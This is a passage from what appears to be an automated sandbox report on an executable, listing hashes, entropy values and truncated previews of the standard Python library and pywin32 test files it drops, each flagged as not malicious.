trigger").new_task.SetApplicationName("c:\\python23\\python.exe").new_task.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).new_ta

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\test\test_addtask_2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1682
Entropy (8bit):	5.152366525783661
Encrypted:	false
SSDEEP:	24:fma/IBH+xutQCc+0E9l3gZ768xFeJLAfVB+D3AFF8Ljo0J3XaCiYnIQ6:fyN+o5b9Fgx6BLAdB+TY8l9IQ6
MD5:	BDB96A0A73DC75AC451A280D91D8087B
SHA1:	2C9CB9503888F1C91150EE8E55A3ACD65E2F81EB
SHA-256:	FEA2A60A9EFB8E371780FEAC140C0056D9C5D6FE0AD55D9ECD613B596A520C33
SHA-512:	5A1B472F6DC3F73197B7F16E3E09B7371F73F02B763FB96F9FAA66F8575F12CEEB3CA2E7DEAE9BD6C88A419D92B5A94D0DFE82E9903DA8E0D462A7F38C52BA32
Malicious:	false
Preview:	import time..import pythoncom.import win32api.from win32com.taskscheduler import taskscheduler..task_name = "test_addtask_2.job".ts = pythoncom.CoCreateInstance(. taskscheduler.CLSID_CTaskScheduler,. None,. pythoncom.CLSCTX_INPROC_SERVER,. taskscheduler.IID_ITaskScheduler,.).tasks = ts.Enum().for task in tasks:. print(task).if task_name in tasks:. print("Deleting existing task " + task_name). ts.Delete(task_name)..t = ts.NewWorkItem(task_name).t.SetComment("Test a task running as local system acct").t.SetApplicationName("c:\\python23\\python.exe").t.SetPriority(taskscheduler.REALTIME_PRIORITY_CLASS).t.SetParameters("test_localsystem.py").t.SetWorkingDirectory("c:\\python23").t.SetCreator("test_addtask_2.py").t.SetMaxRunTime(20000) # milliseconds.t.SetFlags(taskscheduler.TASK_FLAG_DELETE_WHEN_DONE).t.SetAccountInformation(. "", None.) ## empty string for account name means to use local system.## None is only valid for local system acct or if task flags contain

C:\recover\pw\Lib\site-packages\win32comext\taskscheduler\test\test_localsystem.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.611896313876683
Encrypted:	false
SSDEEP:	3:Uv96vpdRTSHMvCFVkWTgmuDFw:UVuReHMKFSUgS
MD5:	9BE57453C83E5AEEE160A8BC8B6A5B7D
SHA1:	C33638E52DBC2FE9D0D28B7937EB42279F9A9FD8
SHA-256:	C8C6DBA0D2ECE4AE7509A03A915D4331502156A21C854929ACE2342B997ACA5F
SHA-512:	01245FB0D4B4D30348018B710B7D5A041E42759C2F2D1FA4CB9BDDB56C5C9E6CE13371A19F9C6CFAF29573B658827E79496DF6A4B064638631B42846F5712076
Malicious:	false
Preview:	f = open("test_localsystem.txt", "w").f.write("I have run\n").f.close().

C:\recover\pw\Lib\site.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	23261
Entropy (8bit):	4.664005598458198
Encrypted:	false
SSDEEP:	384:rw2NAPbFYRmyZTm1xL0lpKPKxBj/XBrYjCQk209LSX84/sHiKKWPBD:xARYRvl0x4PSwYuQ6SrxZWN
MD5:	23CF5B302F557F7461555A35A0DC8C15
SHA1:	50DAAC7D361CED925B7FD331F46A3811B2D81238
SHA-256:	73607E7B809237D5857B98E2E9D503455B33493CDE1A03E3899AA16F00502D36
SHA-512:	E3D8449A8C29931433DFB058AB21DB173B7AED8855871E909218DA0C36BEB36A75D2088A2D6DD849EC3E66532659FDF219DE00184B2651C77392994C5692D86B
Malicious:	false
Preview:	"""Append module search paths for third-party packages to sys.path.....***************************************************************.. This module is automatically imported during initialization. ..***************************************************************....This will append site-specific paths to the module search path. On..Unix (including Mac OSX), it starts with sys.prefix and..sys.exec_prefix (if different) and appends..lib/python<version>/site-packages...On other platforms (such as Windows), it tries each of the..prefixes directly, as well as with lib/site-packages appended. The..resulting directories, if they exist, are appended to sys.path, and..also inspected for path configuration files.....If a file named "pyvenv.cfg" exists one directory above sys.executable,..sys.prefix and sys.exec_prefix are set to that directory and..it is also checked for site-packages (sys.base_prefix and..sys.base_exec_prefix will always be the "real" prefixes of the Python..installation

C:\recover\pw\Lib\smtpd.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	36144
Entropy (8bit):	4.545888734589651
Encrypted:	false
SSDEEP:	384:M1Pd0G6YeQebxqrvBRA7tS71/2Gah4Z5xKL9zqdlhSqJuHvGcRQ+6PTCIMzxg5LU:Mf0G6dQlvBnXzHqH1Csxgtuz11
MD5:	DE2ABF7E7E5C09972A5A181580AA182F
SHA1:	02DB16013DF9343CDA71C26D24F9BC77C05FEB64
SHA-256:	A1F374DC10CF17C6C69B5A236E7E6E1F3B909A88E737C3C555AB2492036D71C0
SHA-512:	DA24EBE9D406608B17BF34714CE0477D35CEFACFCBFD250D7C0FAE7EB91ED915CAFD37BD0CA7FC6AE3523D07D1BF0529E61B9CBD5A23A97D8FF0C8E20F25006F
Malicious:	false
Preview:	#! /usr/bin/env python3.."""An RFC 5321 smtp proxy with optional RFC 1870 and RFC 6531 extensions.....Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]....Options:.... --nosetuid.. -n.. This program generally tries to setuid `nobody', unless this flag is.. set. The setuid call will fail if this program is not run as root (in.. which case, use this flag)..... --version.. -V.. Print the version number and exit..... --class classname.. -c classname.. Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by.. default..... --size limit.. -s limit.. Restrict the total size of the incoming message to "limit" number of.. bytes via the RFC 1870 SIZE extension. Defaults to 33554432 bytes..... --smtputf8.. -u.. Enable the SMTPUTF8 extension and behave as an RFC 6531 smtp proxy..... --debug.. -d.. Turn on debugging prints..... --help.. -h..

C:\recover\pw\Lib\smtplib.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	46558
Entropy (8bit):	4.473746236373843
Encrypted:	false
SSDEEP:	768:rI6W3HVctoov8k0o+wt0ZEr1kNCLCkUethIqLbgaVIT4IlZiu3fWotlAJpEgjFe/:DWatDawzrmC9tYdFg8WLE6ebT
MD5:	C3ABC5CDD8659418068B809948A7E7B8
SHA1:	EEB64EF5A0E91B6644F1B9AF10C32A1E92C642C1
SHA-256:	8B38C3B9019C810D4164A88D4C4D2A294D5181814B03B624A5B0EDB19C638166
SHA-512:	0B8BA051F43D74F187F03DB395E90A9773CFD97562D0B91F619008740794D20E14E4C0772287822BBB634A193D40710EA5683F9FE9B086A4E8999D34F1F39E69
Malicious:	false
Preview:	#! /usr/bin/env python3....'''SMTP/ESMTP client class.....This should follow RFC 821 (SMTP), RFC 1869 (ESMTP), RFC 2554 (SMTP..Authentication) and RFC 2487 (Secure SMTP over TLS).....Notes:....Please remember, when doing ESMTP, that the names of the SMTP service..extensions are NOT the same thing as the option keywords for the RCPT..and MAIL commands!....Example:.... >>> import smtplib.. >>> s=smtplib.SMTP("localhost").. >>> print(s.help()).. This is Sendmail version 8.8.4.. Topics:.. HELO EHLO MAIL RCPT DATA.. RSET NOOP QUIT HELP VRFY.. EXPN VERB ETRN DSN.. For more info use "HELP <topic>"... To report bugs in the implementation send email to.. sendmail-bugs@sendmail.org... For local information send email to Postmaster at your site... End of HELP info.. >>> s.putcmd("vrfy","someone@here").. >>> s.getreply().. (250, "Somebody OverHere <somebody@here.my.org>").. >>> s.quit()..'''....# Author: The Dragon De Monsyne <drago

C:\recover\pw\Lib\sndhdr.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	4.8280737034749075
Encrypted:	false
SSDEEP:	192:mwqBK/jkUx5LNc8ObfKwOCeidXjW6ddDDmQCpjHjKkz:mwA2efKc+7pjD3
MD5:	CB6A9C7DE3FF807AD0359C739908DEAD
SHA1:	283771E021D9DE729817336C15887841CE16859F
SHA-256:	A1424AA73094E2F88E749D5ABFECF79941C4B3213881FF68C4AB7D54702ED9B5
SHA-512:	7D806E7AA640D5C529837F58F9B4168D416F76A9BF6B7CACB98988387FCAF3565D7CCF4D1EA9CCA4DDC6643AD15F76883250C4BE016F592A387A9CC7083F051F
Malicious:	false
Preview:	"""Routines to help recognizing sound files.....Function whathdr() recognizes various types of sound file headers...It understands almost all headers that SOX can decode.....The return tuple contains the following items, in this order:..- file type (as SOX understands it)..- sampling rate (0 if unknown or hard to decode)..- number of channels (0 if unknown or hard to decode)..- number of frames in the file (-1 if unknown or hard to decode)..- number of bits/sample, or 'U' for U-LAW, or 'A' for A-LAW....If the file doesn't have a recognizable type, it returns None...If the file can't be opened, OSError is raised.....To compute the total time, divide the number of frames by the..sampling rate (a frame contains a sample for each channel).....Function what() calls whathdr(). (It used to also use some..heuristics for raw data, but this doesn't work very well.)....Finally, the function test() is a simple main program that calls..what() for all files mentioned on the argument list. For dire

C:\recover\pw\Lib\socket.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	37745
Entropy (8bit):	4.6177949142646435
Encrypted:	false
SSDEEP:	768:bgXSVL2vXF5e7ZYGW3fBp58RrNrgIULHmdDS:bsDffBMRrdgIULHkDS
MD5:	DFBE056F2D850425AA0B39D9DC6BDA6A
SHA1:	A78C9D974BE1C3C49475BF35353B7AAD9771D567
SHA-256:	3B058383016C22045FC99872E34CEC0ADF1234BFBFA13D486E721FCCC2945936
SHA-512:	FA66AA6662B02048D3F438E8E2EC89EA96E8F5700205058A414253EAD5917BD737FC7C07B3158BD76EC26A3DD5CDD15D7A1F85335665ACD82FE260EED35797BE
Malicious:	false
Preview:	# Wrapper module for _socket, providing some additional facilities..# implemented in Python....."""\..This module provides socket operations and some related functions...On Unix, it supports IP (Internet Protocol) and Unix domain sockets...On other systems, it only supports IP. Functions specific for a..socket are available as methods of the socket object.....Functions:....socket() -- create a new socket object..socketpair() -- create a pair of new socket objects []..fromfd() -- create a socket object from an open file descriptor []..send_fds() -- Send file descriptor to the socket...recv_fds() -- Recieve file descriptors from the socket...fromshare() -- create a socket object from data received from socket.share() [*]..gethostname() -- return the current hostname..gethostbyname() -- map a hostname to its IP number..gethostbyaddr() -- map an IP number or hostname to DNS info..getservbyname() -- map a service name and a protocol name to a port number..getprotobyname() -- map a protoco

C:\recover\pw\Lib\socketserver.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	28140
Entropy (8bit):	4.5175680890246905
Encrypted:	false
SSDEEP:	384:140jlGmx6MdZG5Ft+lNYk7gaUgKck2bw8N1xs5dghwHHOGQ/NfX:28wi0J8QywLdk/
MD5:	159421B571226C335F310FCA087240ED
SHA1:	ECE52601CAE44A979A55342045E046293780CB33
SHA-256:	062B0F5441D9C60F01DD7A60E359ACDB01125E36DB2BED84DB58B2294523B14A
SHA-512:	7ADE9382D2E307F2C2B81A096EED28EA367AB59BBA0DA80B424DB91242F48787AFBEF1EAFF750F0C52E724D5BEEABBA17C3687A4929C2F92059B324BF81EFC99
Malicious:	false
Preview:	"""Generic socket server classes.....This module tries to capture the various aspects of defining a server:....For socket-based servers:....- address family:.. - AF_INET{,6}: IP (Internet Protocol) sockets (default).. - AF_UNIX: Unix domain sockets.. - others, e.g. AF_DECNET are conceivable (see <socket.h>..- socket type:.. - SOCK_STREAM (reliable stream, e.g. TCP).. - SOCK_DGRAM (datagrams, e.g. UDP)....For request-based servers (including socket-based):....- client address verification before further looking at the request.. (This is actually a hook for any processing that needs to look.. at the request before anything else, e.g. logging)..- how to handle multiple requests:.. - synchronous (one request is handled at a time).. - forking (each request is handled by a new process).. - threading (each request is handled by a new thread)....The classes in this module favor the server type that is simplest to..write: a

C:\recover\pw\Lib\sqlite3\init.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	2607
Entropy (8bit):	4.782580700337305
Encrypted:	false
SSDEEP:	48:YOfevzhVebHd6wMTpe7d7h11pS1eBm0Tq6p6e9COnMfjUhgGnQU:YOeH4dd11cedbr9COn4jaQU
MD5:	56E9464AEEC255E249414D00B5A39075
SHA1:	899FDBF41346582414BC919615006626228B1A3D
SHA-256:	3DF225315EFFCA29C26196714CF4653A554671EC877019B4BB9D2C0D3A951DD6
SHA-512:	CC693DAEF562DE7B8F684AF49B36D1CC8CBBC427C332E9C000B87C12A96A19FC6548100EF2F77C679C011F7E1CF7A2B75C816A85540B50B1AB083222872A4F3A
Malicious:	false
Preview:	# pysqlite2/__init__.py: the pysqlite2 package...#..# Copyright (C) 2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source distri

C:\recover\pw\Lib\sqlite3\pycache\init.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1643
Entropy (8bit):	5.2311087466469335
Encrypted:	false
SSDEEP:	48:td2TWmbT1esm0TcObLNuETO6jG+Qv6Wqm0:72TWmle8QNETO5zZq1
MD5:	5A6E64206414FBAC4FED23A8E76E9FF6
SHA1:	A51A40EED2F88479216EBD13D1BE813E8E34C8A2
SHA-256:	4ABF0B0A96019C2102913BB30C979A148485035985026372645E530BD6A7FFB3
SHA-512:	A8D37084170F26FB79143A210391F091AAD02C6A3ABDB157A507A6276DB627D05EEA7D78BBB8203A125DFA36E74FF576CAC2D4925E2F71CA8A7488CDBD38FAFF
Malicious:	false
Preview:	o.......?k;g/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

C:\recover\pw\Lib\sqlite3\pycache\init.cpython-310.pyc.33552656

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1644
Entropy (8bit):	5.229362953861498
Encrypted:	false
SSDEEP:	48:M2TWmbT1esm0TcObLNuETO6jG+Qv68qm0:M2TWmle8QNETO5z9q1
MD5:	426FFD57A2C98C8779F91B4997220B0D
SHA1:	06F149651DEC0E60C529185619CE058A05B4FDAF
SHA-256:	D0F92E2BDD093635ED377665215401627E348B30E5BA1F770D8BF5B0F5347EBD
SHA-512:	4147D924FFE1C46CAF5EA1AF4590357055307E7C755C134435EFCFD5209CCD4B758FD446C70102E43B9E9C5601BE4FBDF55EA74801AB1887708CC2BB21F17E9B
Malicious:	false
Preview:	o.........Sg/........................@...s....d.Z.d.d.l.T.d.d...Z.d.S.).u.....The sqlite3 extension module provides a DB-API 2.0 (PEP 249) compliant.interface to the SQLite library, and requires SQLite 3.7.15 or newer...To use the module, start by creating a database Connection object:.. import sqlite3. cx = sqlite3.connect("test.db") # test.db will be created or opened..The special path name ":memory:" can be provided to connect to a transient.in-memory database:.. cx = sqlite3.connect(":memory:") # connect to a database in RAM..Once a connection has been established, create a Cursor object and call.its execute() method to perform SQL queries:.. cu = cx.cursor().. # create a table. cu.execute("create table lang(name, first_appeared)").. # insert values into a table. cu.execute("insert into lang values (?, ?)", ("C", 1972)).. # execute a query and iterate over the result. for row in cu.execute("select * from lang"):. print(row).. cx.close()..Th

C:\recover\pw\Lib\sqlite3\pycache\dbapi2.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2971
Entropy (8bit):	5.113085951828505
Encrypted:	false
SSDEEP:	48:tOW2fEkeTde1zeBB/KP+7oheXYPX7sXq2PXSedQuPXRGqAL0DOPX/PXnCePXd9Ta:gf8TdqzgB/6+7oheXYv7sa2vSeWuvR8w
MD5:	1076E6A4C660858F234F6176096B83CD
SHA1:	AE117FAB8F9C161E2B30B669326EB51D489AAB6A
SHA-256:	57E24D9CD371AED20E0C76FA760A4B9F59B3659D0A2CA4FB6BE3619DE88AC3A2
SHA-512:	69B407C270B55F4D2A8E52165AC33ED34924962F408E6A537B9DB13938E27DAD2415A751B0830EDCCD341C3921DA3B61451D3D5D9604D1E037C5695508760BD8
Malicious:	false
Preview:	o.......?k;gb........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...\|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r....."C:\winnit\pw\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...\|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.\|.].}.t.\|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.\|.....t.t.j.\|.....t.d.\|.....t.d.\|.....d.S.).Nc....................S...

C:\recover\pw\Lib\sqlite3\pycache\dbapi2.cpython-310.pyc.33552304

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2972
Entropy (8bit):	5.110281520662531
Encrypted:	false
SSDEEP:	48:vW2fEkeTde1/eBB/KP+7oheXYPX7sXq2PXSedQuPXRGqAL0DOPX/PXnCePXd9Tbu:v7f8Tdq/gB/6+7oheXYv7sa2vSeWuvRJ
MD5:	40D3E050A62F4D72CB45BBAD4968C02F
SHA1:	56A229A32EE85C550F08AA84ADDEC34C66391343
SHA-256:	6809FA535E7BDB043E487687663A84EF0BE2BD30A9F2745EE90AD93B4A08F90F
SHA-512:	6E466B9D4CA11731C410E9803DD2BCCA4DFB4124D0131BE56A8221915B19D6956A90ADB55B505BB38EC4E6798310FE34D1E05AB40BEF51114816FCE9979D7FC0
Malicious:	false
Preview:	o.........Sgb........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.d.Z.d.Z.d.Z.e.j.Z.e.j.Z.e.j.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d...e...d...D.....Z.e.d.d...e...d...D.....Z.e.Z.e.j.j...e.....d.d...Z.e.....d.d...Z.[.d.S.)......N)...*Z.qmark.....z.2.0c....................C........t.t...\|...d.d.......S.).N.....)...Date..time..localtime..Z.ticks..r.....#C:\recover\pw\lib\sqlite3\dbapi2.py..DateFromTicks)..........r....c....................C...s....t.t...\|...d.d.......S.).Nr.........)...Timer....r....r....r....r....r......TimeFromTicks,...r....r....c....................C...r....).Nr....)...Timestampr....r....r....r....r....r......TimestampFromTicks/...r....r....c....................C........g.\|.].}.t.\|.....q.S.r........int.....0..xr....r....r......<listcomp>2..........r.......c....................C...r....r....r....r....r....r....r....r....3...r....c....................C...sP...d.d...}.d.d...}.d.d...}.d.d...}.t.t.j.\|.....t.t.j.\|.....t.d.\|.....t.d.\|.....d.S.).Nc....................S..

C:\recover\pw\Lib\sqlite3\dbapi2.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	3426
Entropy (8bit):	4.798494253126017
Encrypted:	false
SSDEEP:	96:oOeH4d8NkmJjmelfgApz8ngv8fP1gJF/vG/vm/t/wvBFh244RmsRD9v8:ofLl/BTpz8gvse/vG/vm/t/wv28sRxv8
MD5:	B25FAA499B2E8E766D581E09B20319F6
SHA1:	F1B29C053EE58E14313C2640733D756C0C7FC213
SHA-256:	7296221686BEB47624EA7BF4AB82E9D5AA4E25160042946D2827868897762694
SHA-512:	ADDF733DC17A29AC1649878C3C8FAC467C9AA0DA9C3A0020FD6D58E7498E5C63BE6E55D957812DB2AD4EE2C251D635C838576709984416FF3DB342477D798AF4
Malicious:	false
Preview:	# pysqlite2/dbapi2.py: the DB-API 2.0 interface..#..# Copyright (C) 2004-2005 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any source d

C:\recover\pw\Lib\sqlite3\dump.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3374
Entropy (8bit):	4.814493644979349
Encrypted:	false
SSDEEP:	48:x+tzfkdKSQqQAbhtPXe/dMB+GDb3rb9R5B/jdkI:8tzfkdKvAbrXe/OEGDb3b/jmI
MD5:	B5E473D97E46AF8C8E0D471CA17FC3E4
SHA1:	49547E57808925AC45611540E09F6B1C375EAF83
SHA-256:	30769C19582B0F62506E6BF9E4F36A86F9FD92F2E5C618F770EB14DA0C05F16E
SHA-512:	CD1262B666935CEEE69657A3186A4DC84EF788604E6ABD484A1D8E756283A4631149BCACE38725BD6930764C514636EA0AB77BB35B76FD07B64931276AFDAB5B
Malicious:	false
Preview:	# Mimic the sqlite3 console shell's .dump command..# Author: Paul Kippes <kippesp@gmail.com>....# Every identifier in sql is quoted based on a comment in sqlite..# documentation "SQLite adds new keywords from time to time when it..# takes on new features. So to prevent your code from being broken by..# future enhancements, you should normally quote any identifier that..# is an English language word, even if you do not have to."....def _iterdump(connection):.. """.. Returns an iterator to the dump of the database in an SQL text format..... Used to produce an SQL dump of the database. Useful to save an in-memory.. database for later restoration. This function should not be called.. directly but instead called from the Connection method, iterdump()... """.... cu = connection.cursor().. yield('BEGIN TRANSACTION;').... # sqlite_master table contains the SQL CREATE statements for the database... q = """.. SELECT "name", "type", "sql".. FROM "sqli

C:\recover\pw\Lib\sqlite3\test\backup.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6016
Entropy (8bit):	4.741653622865881
Encrypted:	false
SSDEEP:	96:tpVoJhXoX1i5lJ3tl/C3frCek2CL/wOz/HS2hrYIH8TfoDLubtonJA:tpV0XoX1OlBtl/Ors26/Tz/drYwcAHu/
MD5:	AEC581A7572526389DB816001889E02E
SHA1:	B76A4ECD889BF1700B76BB9D74EB71D264ECBD50
SHA-256:	A49A36C9A094377078490C3FB7CBBA7B9F75B69FD8E6B14AA26B82F6E5FCF02C
SHA-512:	4E82F0B3D4CC89A7139E520A054BCD16FFC59CE07FCB360B819766272ED911A0CCC14A0880ACE1F4EAA24F25C43A8B106B8E8AB9029C0E8E0C89A3601EEC79E1
Malicious:	false
Preview:	import sqlite3 as sqlite..import unittest......class BackupTests(unittest.TestCase):.. def setUp(self):.. cx = self.cx = sqlite.connect(":memory:").. cx.execute('CREATE TABLE foo (key INTEGER)').. cx.executemany('INSERT INTO foo (key) VALUES (?)', [(3,), (4,)]).. cx.commit().... def tearDown(self):.. self.cx.close().... def verify_backup(self, bckcx):.. result = bckcx.execute("SELECT key FROM foo ORDER BY key").fetchall().. self.assertEqual(result[0][0], 3).. self.assertEqual(result[1][0], 4).... def test_bad_target(self):.. with self.assertRaises(TypeError):.. self.cx.backup(None).. with self.assertRaises(TypeError):.. self.cx.backup().... def test_bad_target_filename(self):.. with self.assertRaises(TypeError):.. self.cx.backup('some_file_name.db').... def test_bad_target_same_connection(self):.. with self.assertRaises(ValueError):.. self.cx

C:\recover\pw\Lib\sqlite3\test\dbapi.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	40385
Entropy (8bit):	4.588087457692222
Encrypted:	false
SSDEEP:	384:vAs/92/gGB+a2Oez3HduGt9H9r959A9L909U9HOo+EQcfll9DCX7:vAszz393hdryBCGJOjQlLDG
MD5:	6539BCA6900C9B6C073C978D2ACF51B4
SHA1:	8610EFAAC05DAB02FB6B6FBA4531FB2C98C82203
SHA-256:	E61C779D30E6A5A59A28A6CF6196B56CDDCDD639EC8A1A171E072FED1CE7B628
SHA-512:	2F362BFCDC54A750C4421A00059EC028683D6F5D59DE04DC78BB15BEAC176D5ACB33AC8026325BB50599719FE136CF898F6E149EF02AD3D465D9B470BF2AB62C
Malicious:	false
Preview:	# pysqlite2/test/dbapi.py: tests for DB-API compliance..#..# Copyright (C) 2004-2010 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or altered from any s

C:\recover\pw\Lib\sqlite3\test\dump.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	4803
Entropy (8bit):	4.617724687837092
Encrypted:	false
SSDEEP:	96:Do1ORCU/pUkE3RVVb6Wcxr9XEeomh6R3cFoFpAmnzm5:Do1O//pe3CNwmUZU4p1na5
MD5:	A9C61F849956F87269BA639FA0224747
SHA1:	142CAEE6C62304D7AD4D6CE35F66186C6A778ECB
SHA-256:	6108E4763A319C81534103F8A834455F573220F409D0EA511D0977F500E8D203
SHA-512:	46B87C899F80D6AD4EDF9C8688760D1ABA7806127AE4F9A2CF36A4EBDD278C704C10E9DD6507374BA96F357713FD7EBBA9FCC5BA4C29943A5A348812C25D28C5
Malicious:	false
Preview:	# Author: Paul Kippes <kippesp@gmail.com>....import unittest..import sqlite3 as sqlite......class DumpTests(unittest.TestCase):.. def setUp(self):.. self.cx = sqlite.connect(":memory:").. self.cu = self.cx.cursor().... def tearDown(self):.. self.cx.close().... def test_table_dump(self):.. expected_sqls = [.. """CREATE TABLE "index"("index" blob);""".. ,.. """INSERT INTO "index" VALUES(X'01');""".. ,.. """CREATE TABLE "quoted""table"("quoted""field" text);""".. ,.. """INSERT INTO "quoted""table" VALUES('quoted''value');""".. ,.. "CREATE TABLE t1(id integer primary key, s1 text, " \.. "t1_i1 integer not null, i2 integer, unique (s1), " \.. "constraint t1_idx1 unique (i2));".. ,.. "INSERT INTO \"t1\" VALUES(1,'foo',10,20);".. ,.. "

C:\recover\pw\Lib\sqlite3\test\factory.py

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	12677
Entropy (8bit):	4.724023019248057
Encrypted:	false
SSDEEP:	96:FOeH4dLD4LA9zHLA56ClknbQY4lZ/2XsmfYVebAUlmV5oN04b+nrIFjV5JFxsDKi:FfCjyl265mfE0NlmaN0ZrIT/Vlna5
MD5:	C1F9F8A4DC59A1C15A4FE146C452183F
SHA1:	9A053FB59D6CD508FB53AFC1085FF0E525F4CF5F
SHA-256:	F01879CF1EA68384C47D1CD9C688610AFDAF161DDE628D40ECB633E4521B33B1
SHA-512:	CD9D1446A344324F9D33F7BB668DCD38A6A314AD521CA6640C5D7113D3FBBFD9DCC966CEDD5A47E2A9BFCE4234086193DA1FB4AF65B03D58C87936D8D1B27333
Malicious:	false
Preview:	# pysqlite2/test/factory.py: tests for the various factories in pysqlite..#..# Copyright (C) 2005-2007 Gerhard H.ring <gh@ghaering.de>..#..# This file is part of pysqlite...#..# This software is provided 'as-is', without any express or implied..# warranty. In no event will the authors be held liable for any damages..# arising from the use of this software...#..# Permission is granted to anyone to use this software for any purpose,..# including commercial applications, and to alter it and redistribute it..# freely, subject to the following restrictions:..#..# 1. The origin of this software must not be misrepresented; you must not..# claim that you wrote the original software. If you use this software..# in a product, an acknowledgment in the product documentation would be..# appreciated but is not required...# 2. Altered source versions must be plainly marked as such, and must not be..# misrepresented as being the original software...# 3. This notice may not be removed or

